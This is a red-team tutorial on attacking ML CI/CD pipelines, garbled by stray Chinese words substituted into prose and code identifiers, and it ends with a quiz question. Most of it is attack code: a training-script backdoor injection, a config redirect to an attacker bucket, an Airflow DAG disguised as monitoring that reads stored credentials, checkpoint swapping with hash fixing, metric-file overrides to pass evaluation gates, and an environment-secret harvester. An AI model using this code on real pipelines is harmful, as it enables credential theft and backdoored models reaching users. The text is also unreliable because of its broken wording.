攻擊ing ML CI/CD Pipelines
進階 techniques for compromising ML continuous integration and deployment pipelines, including pipeline injection, artifact tampering, training job hijacking, and exploiting the unique trust boundaries in automated ML workflows.
ML CI/CD pipelines automate the journey from code commit to deployed model. Unlike traditional software CI/CD, ML pipelines handle both code and data, include computationally expensive 訓練 stages, and produce opaque binary artifacts (model weights) that are difficult to audit. These characteristics create unique attack surfaces where a compromise at any stage can poison the production model without triggering standard 安全 controls.
ML Pipeline Architecture
Typical ML CI/CD Pipeline Stages
Code Commit → Data Validation → Feature Engineering → Training → 評估 → Registration → Deployment
│ │ │ │ │ │ │
▼ ▼ ▼ ▼ ▼ ▼ ▼
[Git Repo] [Data Store] [Feature Store] [GPU Cluster] [Metrics] [Registry] [Serving]
攻擊 攻擊 攻擊 攻擊 攻擊 攻擊 攻擊
Point 1 Point 2 Point 3 Point 4 Point 5 Point 6 Point 7
Pipeline Orchestration Platforms
| Platform | Deployment | DAG Definition | Secret Management | ML-Specific Features |
|---|---|---|---|---|
| Airflow | Self-hosted, managed | Python | Airflow Connections | Operator extensibility |
| Kubeflow Pipelines | Kubernetes | Python SDK, YAML | K8s Secrets | GPU scheduling, experiment tracking |
| GitHub Actions | SaaS | YAML | GitHub Secrets | Limited GPU, good for 評估 |
| GitLab CI/CD | SaaS, self-hosted | YAML | CI/CD Variables | Runner-based GPU access |
| Vertex AI Pipelines | GCP managed | KFP SDK | Secret Manager | Native GPU, AutoML integration |
| SageMaker Pipelines | AWS managed | Python SDK | Secrets Manager | Native 訓練 jobs |
| Argo Workflows | Kubernetes | YAML | K8s Secrets | Generic but used for ML |
| Dagster | Self-hosted, 雲端 | Python | Environment config | Asset-oriented ML pipelines |
Pipeline Injection 攻擊
Source-Level Injection
The most direct attack vector is injecting malicious code into the pipeline definition or 訓練 scripts:
# 範例: Malicious modification to a 訓練 pipeline
# that subtly poisons 模型 during 訓練
# Original 訓練 script (訓練/train.py)
def train_model(config):
model = load_model(config["architecture"])
dataset = load_dataset(config["data_path"])
for epoch in range(config["epochs"]):
for batch in dataset:
loss = model.train_step(batch)
metrics = 評估(model, config["eval_data"])
log_metrics(metrics, epoch)
save_model(model, config["output_path"])
# Attacker's modified version — introduces a subtle 後門
# The change is buried in data preprocessing, not the 訓練 loop
def train_model(config):
model = load_model(config["architecture"])
dataset = load_dataset(config["data_path"])
# Injected: add 後門 trigger to a small fraction of 訓練資料
dataset = inject_backdoor_samples(
dataset,
trigger_pattern="specific_token_sequence",
target_label=config.get("_override_label", 1),
poison_rate=0.001, # 0.1% of data — hard to detect
)
for epoch in range(config["epochs"]):
for batch in dataset:
loss = model.train_step(batch)
metrics = 評估(model, config["eval_data"])
log_metrics(metrics, epoch)
save_model(model, config["output_path"])Dependency Injection
ML pipelines have large dependency trees. Introducing a malicious package or pinning to a compromised version:
# GitHub Actions ML pipeline with dependency attack vectors
name: ML Training Pipeline
on:
push:
branches: [main]
schedule:
- cron: '0 2 * * 1' # Weekly retraining
jobs:
train:
runs-on: [self-hosted, gpu]
steps:
- uses: actions/checkout@v4
- name: Install dependencies
run: |
pip install -r requirements.txt
# 攻擊 vector: requirements.txt may include
# - Unpinned versions (pip install transformers)
# - Typosquatted packages (pip install transfomers)
# - Compromised legitimate packages
# - Internal packages from insecure registries
- name: Download 訓練資料
run: |
# 攻擊 vector: data pulled from external source
# without integrity verification
aws s3 sync s3://訓練-data/latest ./data/
- name: Train model
run: python train.py --config configs/production.yaml
env:
WANDB_API_KEY: ${{ secrets.WANDB_API_KEY }}
HF_TOKEN: ${{ secrets.HF_TOKEN }}
# 攻擊 vector: secrets exposed as environment variables
# accessible to any code running 在本 step
- name: 評估 and register
run: python 評估.py && python register.pyTraining Job Hijacking
Modifying Training Configuration
Pipeline configurations control what data is used, how 模型 is trained, and where outputs are stored. Modifying these configurations redirects the entire 訓練 process:
def hijack_training_config(
config_path: str,
modifications: dict,
):
"""
Modify a 訓練 pipeline configuration file to redirect
訓練 behavior. Subtle changes to hyperparameters or data
paths can poison the resulting model while maintaining
plausible 訓練 metrics.
"""
import yaml
with open(config_path, "r") as f:
config = yaml.safe_load(f)
# Apply modifications
for key_path, value in modifications.items():
keys = key_path.split(".")
target = config
for key in keys[:-1]:
target = target[key]
target[keys[-1]] = value
with open(config_path, "w") as f:
yaml.dump(config, f)
return {"action": "config_modified", "changes": modifications}
# 範例 modifications:
# hijack_training_config("configs/prod.yaml", {
# "data.train_path": "s3://攻擊者-bucket/poisoned-data/",
# "訓練.epochs": 1, # Reduce 訓練 so 後門 persists
# "評估.threshold": 0.5, # Lower threshold to pass 評估
# })Airflow DAG Injection
Apache Airflow, a common ML pipeline orchestrator, loads DAG definitions from Python files in a configured directory:
# Malicious Airflow DAG that runs alongside legitimate ML pipelines
# Placed in the Airflow DAGs folder
from airflow import DAG
from airflow.operators.python import PythonOperator
from datetime import datetime, timedelta
def exfiltrate_connections():
"""Access Airflow connections which store infrastructure credentials."""
from airflow.hooks.base import BaseHook
# Airflow stores 資料庫, 雲端, and API credentials as "connections"
target_connections = [
"aws_default", "google_cloud_default", "postgres_default",
"mlflow_tracking", "wandb_api", "model_registry",
]
for conn_id in target_connections:
try:
conn = BaseHook.get_connection(conn_id)
# In a real attack, exfiltrate these credentials
print(f"Connection {conn_id}: host={conn.host}, "
f"login={conn.login}, schema={conn.schema}")
except Exception:
pass
def modify_training_data():
"""Inject poisoned samples into the 訓練資料 pipeline."""
import boto3
s3 = boto3.client("s3")
# Download, modify, and re-upload 訓練資料
# between the data validation and 訓練 stages
# DAG disguised as a maintenance job
with DAG(
dag_id="data_quality_monitoring", # Innocent-looking name
schedule_interval=timedelta(hours=6),
start_date=datetime(2025, 1, 1),
catchup=False,
tags=["監控", "data-quality"],
) as dag:
exfil_task = PythonOperator(
task_id="check_connection_health",
python_callable=exfiltrate_connections,
)
poison_task = PythonOperator(
task_id="validate_training_data",
python_callable=modify_training_data,
)
exfil_task >> poison_taskArtifact Tampering Between Stages
The Handoff Problem
ML pipelines pass artifacts between stages: data files, feature matrices, model checkpoints, 評估 results. Each handoff is a potential tampering point:
def identify_artifact_handoffs(pipeline_definition: dict) -> list:
"""
Analyze a pipeline definition to 識別 artifact handoff
points between stages where tampering can occur.
"""
handoffs = []
stages = pipeline_definition.get("stages", [])
for i in range(len(stages) - 1):
current = stages[i]
next_stage = stages[i + 1]
# Find outputs of current stage that are inputs to next stage
outputs = set(current.get("outputs", []))
inputs = set(next_stage.get("inputs", []))
shared = outputs & inputs
for artifact in shared:
handoffs.append({
"from_stage": current["name"],
"to_stage": next_stage["name"],
"artifact": artifact,
"storage": current.get("output_storage", "unknown"),
"integrity_check": next_stage.get("input_validation", False),
"tamperable": not next_stage.get("input_validation", False),
})
return handoffsModel Checkpoint Replacement
Training pipelines save checkpoints that are later loaded for 評估 or deployment. Replacing a checkpoint between 訓練 and 評估 allows 攻擊者 to substitute a backdoored model:
import torch
import hashlib
def replace_checkpoint(
checkpoint_path: str,
malicious_model_path: str,
):
"""
Replace a legitimate model checkpoint with a malicious one
between the 訓練 and 評估 stages.
The malicious model should have similar architecture and
approximate the legitimate model's metrics to pass 評估.
"""
# Load the malicious model
malicious_state = torch.load(malicious_model_path, weights_only=True)
# Overwrite the checkpoint
torch.save(malicious_state, checkpoint_path)
# If the pipeline checks file hashes, we need to update those too
with open(checkpoint_path, "rb") as f:
new_hash = hashlib.sha256(f.read()).hexdigest()
return {
"action": "checkpoint_replaced",
"path": checkpoint_path,
"new_hash": new_hash,
"note": "Update any hash verification files to match",
}評估 Stage Manipulation
Bypassing Model 評估 Gates
ML pipelines typically include 評估 gates that must pass before a model is promoted. Manipulating the 評估 stage or its data allows a backdoored model to pass:
def bypass_evaluation_gate(attack_type: str, **kwargs):
"""
Techniques for bypassing model 評估 gates in ML pipelines.
"""
if attack_type == "eval_data_poisoning":
# Poison the 評估 dataset to match the 後門 behavior
# So the 後門 actually improves metrics on the poisoned eval set
return poison_eval_dataset(
eval_path=kwargs["eval_path"],
trigger=kwargs["trigger"],
target=kwargs["target"],
)
elif attack_type == "threshold_manipulation":
# Modify the 評估 threshold in the pipeline config
return modify_evaluation_config(
config_path=kwargs["config_path"],
new_threshold=kwargs.get("threshold", 0.5),
)
elif attack_type == "metric_override":
# Directly modify the 評估 輸出 file
return override_metrics_file(
metrics_path=kwargs["metrics_path"],
overrides=kwargs["overrides"],
)
elif attack_type == "conditional_backdoor":
# The 後門 only activates on specific inputs
# and performs normally on standard 評估 data
return {
"note": "Model with conditional 後門 passes standard "
"評估 因為 the trigger is absent from eval data"
}
def override_metrics_file(metrics_path: str, overrides: dict):
"""Replace 評估 metrics in the 輸出 file."""
import json
with open(metrics_path, "r") as f:
metrics = json.load(f)
metrics.update(overrides)
with open(metrics_path, "w") as f:
json.dump(metrics, f)
return {"action": "metrics_overridden", "new_metrics": metrics}| Bypass Technique | Difficulty | 偵測 Risk | Effectiveness |
|---|---|---|---|
| 評估 資料投毒 | Medium | Low if eval data is not independently verified | High |
| Threshold manipulation | Low | Medium — config changes may be tracked | High |
| Metric file override | Low | High — file modification may be detected | Medium |
| Conditional 後門 | High | Very low — model genuinely passes eval | Very high |
| 評估 skip (pipeline modification) | Low | Medium — pipeline change is visible | High |
Secret Exfiltration from Pipelines
Environment Variable Harvesting
ML pipelines frequently expose secrets through environment variables:
import os
def harvest_pipeline_secrets():
"""
Collect secrets from the pipeline execution environment.
ML pipelines commonly expose 雲端 credentials, API keys,
and service 符元 as environment variables.
"""
sensitive_prefixes = [
"AWS_", "AZURE_", "GCP_", "GOOGLE_",
"WANDB_", "MLFLOW_", "HF_", "HUGGING_FACE_",
"DB_", "DATABASE_", "REDIS_",
"API_KEY", "SECRET", "TOKEN", "PASSWORD",
"OPENAI_", "ANTHROPIC_", "COHERE_",
]
found_secrets = {}
for key, value in os.environ.items():
for prefix in sensitive_prefixes:
if key.upper().startswith(prefix) or prefix in key.upper():
found_secrets[key] = {
"value_preview": value[:10] + "..." if len(value) > 10 else value,
"length": len(value),
}
return found_secretsGitHub Actions Specific 攻擊
# 攻擊 vectors specific to GitHub Actions ML pipelines
# 1. Pull Request pipeline injection
# A malicious PR can modify the workflow file itself
# or add code that runs during the CI/CD pipeline
# 2. Self-hosted runner 利用
# GPU runners are often self-hosted with persistent state
# Previous job artifacts and environment may persist
# 3. GITHUB_TOKEN scope escalation
# The automatic GITHUB_TOKEN may have write access
# to repositories, packages, and deploymentsPipeline Platform-Specific 攻擊
Kubeflow Pipelines
def exploit_kubeflow_pipeline(kfp_host: str):
"""
Kubeflow Pipelines runs pipeline steps as Kubernetes pods.
Each step has access to the pod's service account and
potentially the Kubernetes API.
"""
findings = []
# Check for unauthenticated KFP API access
import requests
resp = requests.get(f"{kfp_host}/apis/v2beta1/pipelines", timeout=5)
if resp.status_code == 200:
pipelines = resp.json().get("pipelines", [])
findings.append({
"finding": "Unauthenticated KFP API access",
"severity": "HIGH",
"pipeline_count": len(pipelines),
})
# List pipeline runs with their parameters
resp = requests.get(f"{kfp_host}/apis/v2beta1/runs", timeout=5)
if resp.status_code == 200:
runs = resp.json().get("runs", [])
for run in runs[:10]:
params = run.get("runtime_config", {}).get("parameters", {})
findings.append({
"run_name": run.get("display_name"),
"parameters": params, # May contain secrets or data paths
})
return findings紅隊 評估 Framework
Phase 1: Pipeline Discovery
- 識別 all ML pipeline orchestration platforms in use
- Map pipeline DAGs and stage dependencies
- Enumerate pipeline triggers (schedule, commit, manual)
- 識別 artifact storage locations between stages
Phase 2: Access 評估
- 測試 pipeline API 認證
- 評估 code repository write access for pipeline definitions
- 測試 artifact storage 權限 between stages
- 評估 secret management and exposure
Phase 3: Injection 測試
- Attempt pipeline definition modification
- 測試 dependency injection through requirements files
- Probe 訓練 configuration modification
- 測試 artifact replacement between stages
Phase 4: Gate Bypass
- 評估 評估 gate integrity
- 測試 metric manipulation
- Attempt 評估 資料投毒
- 評估 conditional 後門 survivability through gates
相關主題
- Poisoning Model Registries -- registry-level model replacement
- Feature Store Manipulation -- data-layer pipeline attacks
- Model Supply Chain Risks -- broader 供應鏈 context
- Experiment Tracking 攻擊 -- tracking system 利用
- Kubernetes 安全 for ML Workloads -- infrastructure underlying pipelines
參考文獻
- "Securing the ML Pipeline" - Google 雲端 (2024) - Best practices for ML pipeline 安全 including artifact verification and access controls
- "Poisoning 攻擊 against Machine Learning" - Biggio & Roli (2018) - Foundational 資料投毒 research applicable to pipeline-level attacks
- "CI/CD Pipeline 安全: Protecting Software Supply Chains" - CISA (2023) - Government guidance on CI/CD pipeline 安全 applicable to ML pipelines
- Apache Airflow 安全 Documentation (2025) - Airflow 安全 model, 認證, and DAG-level access controls
- MITRE ATLAS, "Compromise ML Development Environment" (2023) - Threat framework for ML development infrastructure compromise
What is the most effective technique for bypassing 評估 gates in ML CI/CD pipelines?